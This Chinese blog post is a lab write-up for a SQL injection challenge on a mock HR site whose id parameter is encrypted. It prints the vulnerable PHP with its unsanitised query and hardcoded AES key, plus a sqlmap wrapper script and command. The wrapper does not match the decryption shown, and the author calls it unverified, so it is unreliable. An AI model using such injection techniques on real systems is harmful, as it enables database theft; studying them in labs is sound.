SQL注入漏洞测试(参数加密)———视频全过程

最新推荐文章于 2023-08-02 22:09:22 发布

我重来不说话

最新推荐文章于 2023-08-02 22:09:22 发布

阅读量353

点赞数

分类专栏：渗透测试笔记文章标签： sql php 渗透测试参数加密

本文链接：https://blog.csdn.net/qq_19623861/article/details/120185129

版权

渗透测试笔记专栏收录该内容

51 篇文章 24 订阅

订阅专栏

SQL注入漏洞测试(参数加密)

解题思路：

进入界面>>>扫描后台目录>>>发现解密相关php文件>>>进行代码审计>>>推算出加密过程（略）>>>使用手工注入（略）>>>得到账户密码（MD5解密）>>>登陆后台>>>拿到key

得到代码后也可以使用sqlmap进行脚本自动注入
需要分局解密过程编写php加密过程

<?php 
##加密过程
$id = base64_encode("id=".$_GET['id']);
echo file_get_contents("http://www.xxxx.com/index.php?{$id}");
 ?>

保存为1.php
sqlmap,py -u “http://127.0.0.1/1.php?id=12” -v3 --dbs

以上sqlmap脚本注入尚未证实

主要代码审计

<?php
header('content-type:text/html;charset=utf-8'); 
require_once '../config.php';  
//解密过程
function decode($data){
	$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,''); //打开加密算法和模块（算法名称、加密模块位置、加密模式CBC、加密模式的路径）
                                                   					        //mcrypt_module_open打开成功返回家密描述符     $td = 加密描述符
	mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021'); //初始加密（加密描述符，加密密码，偏移量）
	$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));//解密数据    data密文
	mcrypt_generic_deinit($td);//结束加密，执行清理工作
	mcrypt_module_close($td);//关闭加密模块
	if(substr(trim($data),-6)!=='_mozhe'){                                  //判断后6个字符是否等于_mozhe
		echo '<script>window.location.href="/index.php";</script>';  //不等于重定向页面
	}else{
		return substr(trim($data),0,strlen(trim($data))-6);       //等于则回显数据
	}
}
$id=decode($_GET['id']);          //$_GET[]传递参数id
$sql="select id,title,content,time from notice where id=$id";
$info=$link->query($sql);
$arr=$info->fetch_assoc();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>X公司HR系统V1.0</title>
<style>.body{width:600px;height:500px;margin:0 auto}.title{color:red;height:60px;line-height:60px;font-size:30px;font-weight:700;margin-top:75pt;border-bottom:2px solid red;text-align:center}.content,.title{margin:0 auto;width:600px;display:block}.content{height:30px;line-height:30px;font-size:18px;margin-top:40px;text-align:left;color:#828282}</style>
</head>
<body>
<div class="body">
<div class="title"><?php echo $arr['title']?></div>
<div class="content"><?php echo $arr['content']?></div>
</body>
</html>

视频链接

SQL注入漏洞测试(参数加密)

我重来不说话

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
打赏
0
评论
SQL注入漏洞测试(参数加密)———视频全过程

SQL注入漏洞测试(参数加密)解题思路：进入界面>>>扫描后台目录>>>发现解密相关php文件>>>进行代码审计>>>推算出加密过程（略）>>>使用手工注入（略）>>>得到账户密码（MD5解密）>>>登陆后台>>>拿到key得到代码后也可以使用sqlmap进行脚本自动注入需要分局解密过程编写php加密过程<?php ##加密过程$id = b
复制链接

扫一扫